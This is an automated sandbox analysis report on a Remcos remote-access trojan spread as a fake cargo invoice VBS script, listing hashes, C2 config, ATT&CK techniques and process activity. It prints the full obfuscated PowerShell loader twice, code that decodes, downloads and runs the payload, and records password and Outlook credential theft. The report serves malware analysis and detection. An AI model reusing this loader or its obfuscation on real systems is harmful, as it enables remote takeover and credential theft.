remcos | 602003e98421ce67063784195fd50caa107f895549f55efc60bf569e605f61f2

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-11-2024 07:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CargoInvoice_Outstanding_56789_2024-11-21.vbs
Size

38KB
MD5

e221e50773f32bab23fcf3d130c68481
SHA1

350bd0a28a1cbffb8a9e4f9075cec81895798a80
SHA256

602003e98421ce67063784195fd50caa107f895549f55efc60bf569e605f61f2
SHA512

6c846e5b6a6c835511cfb7823516163ba9f1056e7ac2159e73a059b29bfc75b102c43f8779330a220fbffcaf0708e5c47aa6a5947beb983d1fa954fbe337de3e
SSDEEP

768:IZLtB89wlVgpDAus1yZUR/eGR4/3yLohsVgIij/+gHxWseNAeonfre7st2r:IZJB8rDds1yGRm+4/kLiD+goRNAnXtu

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

154.216.17.14:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-KC5V8F
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/2820-66-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4876-72-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3980-65-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/2820-66-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/3980-65-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow pid process

4 1388 WScript.exe
16 2392 powershell.exe
34 3776 msiexec.exe
36 3776 msiexec.exe
38 3776 msiexec.exe
39 3776 msiexec.exe
41 3776 msiexec.exe

flow	pid	process
4	1388	WScript.exe
16	2392	powershell.exe
34	3776	msiexec.exe
36	3776	msiexec.exe
38	3776	msiexec.exe
39	3776	msiexec.exe
41	3776	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2392 powershell.exe
4988 powershell.exe
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

File opened (read-only) \??\Z: WScript.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

3776 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

4988 powershell.exe
3776 msiexec.exe

description	ioc	process
File opened (read-only)	\??\Z:	WScript.exe

pid	process
3776	msiexec.exe

pid	process
4988	powershell.exe
3776	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

msiexec.exe

description	pid	process	target process
PID 3776 set thread context of 3980	3776	msiexec.exe	msiexec.exe
PID 3776 set thread context of 2820	3776	msiexec.exe	msiexec.exe
PID 3776 set thread context of 4876	3776	msiexec.exe	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.exemsiexec.exemsiexec.exemsiexec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exemsiexec.exemsiexec.exe

pid	process
2392	powershell.exe
2392	powershell.exe
4988	powershell.exe
4988	powershell.exe
4988	powershell.exe
3980	msiexec.exe
3980	msiexec.exe
4876	msiexec.exe
4876	msiexec.exe
3980	msiexec.exe
3980	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exemsiexec.exe

pid process

4988 powershell.exe
3776 msiexec.exe
3776 msiexec.exe
3776 msiexec.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exemsiexec.exe

description pid process

Token: SeDebugPrivilege 2392 powershell.exe
Token: SeDebugPrivilege 4988 powershell.exe
Token: SeDebugPrivilege 4876 msiexec.exe

pid	process
4988	powershell.exe
3776	msiexec.exe
3776	msiexec.exe
3776	msiexec.exe

description	pid	process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	4876	msiexec.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

description	pid	process	target process
PID 1388 wrote to memory of 2392	1388	WScript.exe	powershell.exe
PID 1388 wrote to memory of 2392	1388	WScript.exe	powershell.exe
PID 4988 wrote to memory of 3776	4988	powershell.exe	msiexec.exe
PID 4988 wrote to memory of 3776	4988	powershell.exe	msiexec.exe
PID 4988 wrote to memory of 3776	4988	powershell.exe	msiexec.exe
PID 4988 wrote to memory of 3776	4988	powershell.exe	msiexec.exe
PID 3776 wrote to memory of 3980	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 3980	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 3980	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 3980	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 2820	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 2820	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 2820	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 2820	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 4876	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 4876	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 4876	3776	msiexec.exe	msiexec.exe
PID 3776 wrote to memory of 4876	3776	msiexec.exe	msiexec.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CargoInvoice_Outstanding_56789_2024-11-21.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Predenying Kloakeringsarbejde Chambrierers Urbaniteten persongruppers Alhandal #><#Telegrafvsnets Metallurgy sundari Kvlning Bleachyard Charlataneriet #>$Omringede='Kommandoaktions';function Cypseliform($Foretagendes){If ($host.DebuggerEnabled) {$Ureteropyelitis=3} for ($Arther85=$Ureteropyelitis;;$Arther85+=4){if(!$Foretagendes[$Arther85]) { break }$Dewaters+=$Foretagendes[$Arther85]}$Dewaters}function Pattede($Overanstrengelses){ .($Histography) ($Overanstrengelses)}$serievarerne=Cypseliform ' UsN Afe .htLgm.OnowCl,e BoBPlecsitLAkkIFo etwin oct';$sprogforskernes=Cypseliform ',mpMFoloCanz seiEl lelels gaNat/';$Metabolisme=Cypseliform 'Di TNatlknasTr,1Teg2';$Damaskduge36='Tel[Conn kuEPaaTTi,.dumsNunEsp.rPrevdelIUnmCGamENaupKatoFori .rNCirt iMranA enNBenAsprGante GrRAnd] Br:s,a:AntsDe ERavClg.UF rrUnmIRobtvanYAntpUkarE ro RetFlhoOveC hio Fil,it=Ana$.rgMT,ueI fT stARe,bGlio,haLD ciFixsEn,MFave';$sprogforskernes+=Cypseliform 'spe5Aho. Pn0 B. r(UneWPeriPlanWeed ,ioGalwB,ns n AntNZygT T sul1Ove0 .u. r0 Wh;Gip AadWGamiUmrn sa6Be,4Cha;saz Fesxsr 6 Na4Uds;sta Ignr s vkon: Bo1.ef3Fr 1 E .Til0Mel) fu D,pGsl eBlocDeskN tosko/ tr2ski0 Di1 el0 oo0bro1Gaa0str1Fil Ty FJavitrarForeFarfNago EkxU s/N t1say3ski1 Ac.Pas0';$Roomies=Cypseliform ' s UK ms ReePinRMul-NitaUnpgTndeP.an ot';$spyttekummerne=Cypseliform 'DrahR stCints mpF rs re:Hjt/Fej/ForbNa 9tilaTa,1sub..asiY gcTriu rs/UndXL br KoCChaG beXFo.V esfKabsHol/selTMinr isuOkas PitslulFnoeKli2 Ge0Rec.c.eaE tssubd';$supercanonical=Cypseliform ' ,v>';$Histography=Cypseliform 'stai KbeProX';$saliences109='Perfiditet';$fabaceae='\Afprikningen.Bss';Pattede (Cypseliform 'h i$GoigConL hoOPanBMisAParLLen:AfbEdriKDras toasteMs.eELacnT lsU dssu T s.T ,oEleiTpro= l$LigE H,NHerVP l: seA ,aPP ePNasDDraaIntt,ibA e+Des$RacfordaswiBW naEbuCHypEMolALege');Pattede (Cypseliform 'Ano$sc,GU gl,adospebaktaUdllU d:Da,bRe.uBrynunpITrinCoogB,iE airNatNFlaEUnhsPar=Cub$Af sYeoPFriYu at sTB geKn KUncuLurm BuMGloETrarDi n HuEt i.Fifs InPBanL.ili AnTRes( Ja$ lasZomUMyrP skEPenrArtCEvaa C nrevoskln Cri ykCDraA MeLBil)');Pattede (Cypseliform $Damaskduge36);$spyttekummerne=$Buningernes[0];$Antagonization130=(Cypseliform 'Pos$BaggA ilBreOUnvbAlbasclLsyk:si.a M tTo CPr =sumNsulECarWCy,-ZebOconb ajPh E JaCshat Ra Pers suy rmsBe tM,keUp mBor.Dep$Unas pleEndr fvIRetE.rnVRabAOplR V.E ncRAntnsjle');Pattede ($Antagonization130);Pattede (Cypseliform 'ges$ ,yAs atColcfor.DagHspreTa,a ord rieTo rBris e[Lan$ BiR,ytoOveoK.gm AliRe eudlsIct]Oof=Adm$T ps iprearClaoAwfgswaf FjoOrdrsphsDdmkR,neIndrPhynT reCo.s');$Civicism=Cypseliform ' s $BlrAEsttsupc ik.,irD,eaoPi wFr nLarlAnaodiaaBold.ecFHaviImml C es,e(Fri$Fors Uppsp.yThotOdyt eeGibkCleu fsmLasm MeevirrCrinVeneR g,a l$DisK stoM rk re ,yt P t R e BlrMaje Fot k )';$Koketteret=$Eksamenssttet;Pattede (Cypseliform 'Udd$.rugAlvlOblosasBDevACluLLi :Elav nivokrseru ulA aeDeiN slsVile Bun,ph=Lok(F.uT V e ResDu Tspl-Begp LiABestU phTil Bi.$RehK Vao GekskresavTEcttMi e BlRstjE aTC,r)');while (!$Virulensen) {Pattede (Cypseliform 'Reb$UnsgUnflBgeo arbMyoaimpl Fo: pak BluD wnMims M t.ipfDecoF ir ursUnetRumaNednClidFla=Fje$ GuU rok UneMesnsged .weMajlMe iDu gLashUnaePand') ;Pattede $Civicism;Pattede (Cypseliform 'C,ts LoTCenAGa R .uTImp-F rs Mol MiEUnpEkaePBol M.o4');Pattede (Cypseliform 'Lin$samg ChLsprO ab BuAK,nLdis:ReuVMrkiBehRB.fu Del Unesn.nbrys oe rNEry=.or(Pr tUnee ersFreT Kv-stapma aud,TEl.hP r ,fv$R cK oroBeeKskbekulTspotM re dR.ule sptDyr)') ;Pattede (Cypseliform 'Pyr$AlcG stl oOsi BEx asamls,r:UnstafbiD uO V lFulOUr gGyniCloEB,sn Bes Co=Co,$H.rGBoll Tiose b seAPool hr:.dbm C,e KoTMelastiGHy ABals tjTh eECe.rCon+Es +Adn% .o$LigB auAsyNP oI sknNdrgNipEGrerM,snBureC,rs or. N cHano irUrowN .lt') ;$spyttekummerne=$Buningernes[$Tiologiens]}$straighted=312945;$sprngbombes=29375;Pattede (Cypseliform ' G $HerGturl RtoVi B DrA LelT,i:HvnmBruAChiCBasrDeboTasCPenEshiP ndHAleADamlV dO PauP esRe, En=Coa Kodg R ETiltPre-sk C ndOsubn ittErseBrnn I.Tskr Ben$R gK s oImpk roeAbsTKasT UdECapRb geForT');Pattede (Cypseliform 'Alv$slagKlul Fio subLy,aBagl il: ,oRH.reK.rssp,bgenoPoslU iiU,dgcivs Gy Rub= Fn Man[ nts E ysersV rt Beed,nmCir.OveCDisoillnR vv sheNedr omtDe.] ak:Reg: frFAmerAd oIchm DrB exaK tsNecesam6sem4Dens stVolrCo.i Tyn.atg .a(Kar$U eMProa nscDy,r muoJazcPere kp Kvh C.aMellPoko ulu ,lsBat)');Pattede (Cypseliform 'sp.$TrkGLe Lt,mOVirb D,aTilLFor:Hy bOrilF,raGredDolsKrymBe,RIndeJugRHyleErhssoc Hyp= na Rev[JausPl,ysk sPalt AbeRy.m Ca. s tTitEDomX amT Ar.ZareF,jN rCHinOR iDnatICh n Mig In]Ka :Tr : vraBefssagC K,IPerIAnt.RejgscoE ,ctM lsBortHa rChris mnselg Va( R $PlarskaeCh sPo,BUndoA llOpsisp.GDy.sLex)');Pattede (Cypseliform 'Ru $Gragd.ml cpORefbU raDisLYur: gesRo,P UdgL dE,igsEt =spa$DolbUngltaca U dAf sPapM KvrskoEs mR.one Bas M .Tousgrau RhBI,ys AntBesr F IGo nQuogs.l(Cho$Vars betGlarsnuaDraIsw,gUayHMustRygE ,eDUdh,Unc$ K.s ecpAg.R E n egg FoB AlOVigmcrebetee Grs ag)');Pattede $spges;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Predenying Kloakeringsarbejde Chambrierers Urbaniteten persongruppers Alhandal #><#Telegrafvsnets Metallurgy sundari Kvlning Bleachyard Charlataneriet #>$Omringede='Kommandoaktions';function Cypseliform($Foretagendes){If ($host.DebuggerEnabled) {$Ureteropyelitis=3} for ($Arther85=$Ureteropyelitis;;$Arther85+=4){if(!$Foretagendes[$Arther85]) { break }$Dewaters+=$Foretagendes[$Arther85]}$Dewaters}function Pattede($Overanstrengelses){ .($Histography) ($Overanstrengelses)}$serievarerne=Cypseliform ' UsN Afe .htLgm.OnowCl,e BoBPlecsitLAkkIFo etwin oct';$sprogforskernes=Cypseliform ',mpMFoloCanz seiEl lelels gaNat/';$Metabolisme=Cypseliform 'Di TNatlknasTr,1Teg2';$Damaskduge36='Tel[Conn kuEPaaTTi,.dumsNunEsp.rPrevdelIUnmCGamENaupKatoFori .rNCirt iMranA enNBenAsprGante GrRAnd] Br:s,a:AntsDe ERavClg.UF rrUnmIRobtvanYAntpUkarE ro RetFlhoOveC hio Fil,it=Ana$.rgMT,ueI fT stARe,bGlio,haLD ciFixsEn,MFave';$sprogforskernes+=Cypseliform 'spe5Aho. Pn0 B. r(UneWPeriPlanWeed ,ioGalwB,ns n AntNZygT T sul1Ove0 .u. r0 Wh;Gip AadWGamiUmrn sa6Be,4Cha;saz Fesxsr 6 Na4Uds;sta Ignr s vkon: Bo1.ef3Fr 1 E .Til0Mel) fu D,pGsl eBlocDeskN tosko/ tr2ski0 Di1 el0 oo0bro1Gaa0str1Fil Ty FJavitrarForeFarfNago EkxU s/N t1say3ski1 Ac.Pas0';$Roomies=Cypseliform ' s UK ms ReePinRMul-NitaUnpgTndeP.an ot';$spyttekummerne=Cypseliform 'DrahR stCints mpF rs re:Hjt/Fej/ForbNa 9tilaTa,1sub..asiY gcTriu rs/UndXL br KoCChaG beXFo.V esfKabsHol/selTMinr isuOkas PitslulFnoeKli2 Ge0Rec.c.eaE tssubd';$supercanonical=Cypseliform ' ,v>';$Histography=Cypseliform 'stai KbeProX';$saliences109='Perfiditet';$fabaceae='\Afprikningen.Bss';Pattede (Cypseliform 'h i$GoigConL hoOPanBMisAParLLen:AfbEdriKDras toasteMs.eELacnT lsU dssu T s.T ,oEleiTpro= l$LigE H,NHerVP l: seA ,aPP ePNasDDraaIntt,ibA e+Des$RacfordaswiBW naEbuCHypEMolALege');Pattede (Cypseliform 'Ano$sc,GU gl,adospebaktaUdllU d:Da,bRe.uBrynunpITrinCoogB,iE airNatNFlaEUnhsPar=Cub$Af sYeoPFriYu at sTB geKn KUncuLurm BuMGloETrarDi n HuEt i.Fifs InPBanL.ili AnTRes( Ja$ lasZomUMyrP skEPenrArtCEvaa C nrevoskln Cri ykCDraA MeLBil)');Pattede (Cypseliform $Damaskduge36);$spyttekummerne=$Buningernes[0];$Antagonization130=(Cypseliform 'Pos$BaggA ilBreOUnvbAlbasclLsyk:si.a M tTo CPr =sumNsulECarWCy,-ZebOconb ajPh E JaCshat Ra Pers suy rmsBe tM,keUp mBor.Dep$Unas pleEndr fvIRetE.rnVRabAOplR V.E ncRAntnsjle');Pattede ($Antagonization130);Pattede (Cypseliform 'ges$ ,yAs atColcfor.DagHspreTa,a ord rieTo rBris e[Lan$ BiR,ytoOveoK.gm AliRe eudlsIct]Oof=Adm$T ps iprearClaoAwfgswaf FjoOrdrsphsDdmkR,neIndrPhynT reCo.s');$Civicism=Cypseliform ' s $BlrAEsttsupc ik.,irD,eaoPi wFr nLarlAnaodiaaBold.ecFHaviImml C es,e(Fri$Fors Uppsp.yThotOdyt eeGibkCleu fsmLasm MeevirrCrinVeneR g,a l$DisK stoM rk re ,yt P t R e BlrMaje Fot k )';$Koketteret=$Eksamenssttet;Pattede (Cypseliform 'Udd$.rugAlvlOblosasBDevACluLLi :Elav nivokrseru ulA aeDeiN slsVile Bun,ph=Lok(F.uT V e ResDu Tspl-Begp LiABestU phTil Bi.$RehK Vao GekskresavTEcttMi e BlRstjE aTC,r)');while (!$Virulensen) {Pattede (Cypseliform 'Reb$UnsgUnflBgeo arbMyoaimpl Fo: pak BluD wnMims M t.ipfDecoF ir ursUnetRumaNednClidFla=Fje$ GuU rok UneMesnsged .weMajlMe iDu gLashUnaePand') ;Pattede $Civicism;Pattede (Cypseliform 'C,ts LoTCenAGa R .uTImp-F rs Mol MiEUnpEkaePBol M.o4');Pattede (Cypseliform 'Lin$samg ChLsprO ab BuAK,nLdis:ReuVMrkiBehRB.fu Del Unesn.nbrys oe rNEry=.or(Pr tUnee ersFreT Kv-stapma aud,TEl.hP r ,fv$R cK oroBeeKskbekulTspotM re dR.ule sptDyr)') ;Pattede (Cypseliform 'Pyr$AlcG stl oOsi BEx asamls,r:UnstafbiD uO V lFulOUr gGyniCloEB,sn Bes Co=Co,$H.rGBoll Tiose b seAPool hr:.dbm C,e KoTMelastiGHy ABals tjTh eECe.rCon+Es +Adn% .o$LigB auAsyNP oI sknNdrgNipEGrerM,snBureC,rs or. N cHano irUrowN .lt') ;$spyttekummerne=$Buningernes[$Tiologiens]}$straighted=312945;$sprngbombes=29375;Pattede (Cypseliform ' G $HerGturl RtoVi B DrA LelT,i:HvnmBruAChiCBasrDeboTasCPenEshiP ndHAleADamlV dO PauP esRe, En=Coa Kodg R ETiltPre-sk C ndOsubn ittErseBrnn I.Tskr Ben$R gK s oImpk roeAbsTKasT UdECapRb geForT');Pattede (Cypseliform 'Alv$slagKlul Fio subLy,aBagl il: ,oRH.reK.rssp,bgenoPoslU iiU,dgcivs Gy Rub= Fn Man[ nts E ysersV rt Beed,nmCir.OveCDisoillnR vv sheNedr omtDe.] ak:Reg: frFAmerAd oIchm DrB exaK tsNecesam6sem4Dens stVolrCo.i Tyn.atg .a(Kar$U eMProa nscDy,r muoJazcPere kp Kvh C.aMellPoko ulu ,lsBat)');Pattede (Cypseliform 'sp.$TrkGLe Lt,mOVirb D,aTilLFor:Hy bOrilF,raGredDolsKrymBe,RIndeJugRHyleErhssoc Hyp= na Rev[JausPl,ysk sPalt AbeRy.m Ca. s tTitEDomX amT Ar.ZareF,jN rCHinOR iDnatICh n Mig In]Ka :Tr : vraBefssagC K,IPerIAnt.RejgscoE ,ctM lsBortHa rChris mnselg Va( R $PlarskaeCh sPo,BUndoA llOpsisp.GDy.sLex)');Pattede (Cypseliform 'Ru $Gragd.ml cpORefbU raDisLYur: gesRo,P UdgL dE,igsEt =spa$DolbUngltaca U dAf sPapM KvrskoEs mR.one Bas M .Tousgrau RhBI,ys AntBesr F IGo nQuogs.l(Cho$Vars betGlarsnuaDraIsw,gUayHMustRygE ,eDUdh,Unc$ K.s ecpAg.R E n egg FoB AlOVigmcrebetee Grs ag)');Pattede $spges;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zbelihebgdtmsgfuksdsaoymcqsuy"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\cvjejaodullruutybdptlbsdkxcdrfnh"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2820
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mpowk"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
806286a9ea8981d782ba5872780e6a4c

SHA1
99fe6f0c1098145a7b60fda68af7e10880f145da

SHA256
cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713

SHA512
362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yitjv5mk.jzv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zbelihebgdtmsgfuksdsaoymcqsuy

Filesize
4KB

MD5
ac300aeaf27709e2067788fdd4624843

SHA1
e98edd4615d35de96e30f1a0e13c05b42ee7eb7b

SHA256
d2637d58bb120dc6fefe2f38d6e0d4b308006b8639106a7f9e915fa80b5cc9d9

SHA512
09c46e708f9d253dccd4d943639d9f8126f868ae3dcd951aad12222bb98b5d3814676f878c8391b9bdab5dedcf5b9e9eaeb2ad3ffec57bda875198735586d4df

Download Submit
C:\Users\Admin\AppData\Roaming\Afprikningen.Bss

Filesize
445KB

MD5
4e7a6d79fe973b189588ccbcda5d8f3f

SHA1
342bb96dc32353ad48e8ceb2058c5e69dba28481

SHA256
e272b44348b3d46e50db5d58e8fc8088f7feb005a375c33127873b187bab8e44

SHA512
31fd20c4bff214b395c36e2136c9b243ac9c617e63f78f0092778074268ab3a19b5be2cc0af9cea04cbc3e5de67bf1df382648337e0ccc6b39d6693ce9498dde

Download Submit
memory/2392-22-0x00007FFEEAE40000-0x00007FFEEB901000-memory.dmp

Filesize
10.8MB

Download
memory/2392-19-0x00007FFEEAE40000-0x00007FFEEB901000-memory.dmp

Filesize
10.8MB

Download
memory/2392-16-0x00007FFEEAE40000-0x00007FFEEB901000-memory.dmp

Filesize
10.8MB

Download
memory/2392-4-0x00007FFEEAE43000-0x00007FFEEAE45000-memory.dmp

Filesize
8KB

Download
memory/2392-15-0x00007FFEEAE40000-0x00007FFEEB901000-memory.dmp

Filesize
10.8MB

Download
memory/2392-5-0x000002D0CA5C0000-0x000002D0CA5E2000-memory.dmp

Filesize
136KB

Download
memory/2820-64-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2820-60-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2820-66-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3776-90-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-80-0x0000000022460000-0x0000000022479000-memory.dmp

Filesize
100KB

Download
memory/3776-83-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-82-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-81-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-85-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-79-0x0000000022460000-0x0000000022479000-memory.dmp

Filesize
100KB

Download
memory/3776-84-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-86-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-76-0x0000000022460000-0x0000000022479000-memory.dmp

Filesize
100KB

Download
memory/3776-54-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-87-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-74-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-88-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3776-89-0x0000000000DE0000-0x0000000002034000-memory.dmp

Filesize
18.3MB

Download
memory/3980-59-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3980-65-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3980-61-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3980-63-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4876-67-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4876-71-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4876-72-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4988-42-0x0000000006AE0000-0x0000000006AFA000-memory.dmp

Filesize
104KB

Download
memory/4988-39-0x0000000006530000-0x000000000654E000-memory.dmp

Filesize
120KB

Download
memory/4988-44-0x0000000007780000-0x00000000077A2000-memory.dmp

Filesize
136KB

Download
memory/4988-43-0x00000000077F0000-0x0000000007886000-memory.dmp

Filesize
600KB

Download
memory/4988-47-0x0000000008F90000-0x000000000D2C2000-memory.dmp

Filesize
67.2MB

Download
memory/4988-41-0x0000000007DB0000-0x000000000842A000-memory.dmp

Filesize
6.5MB

Download
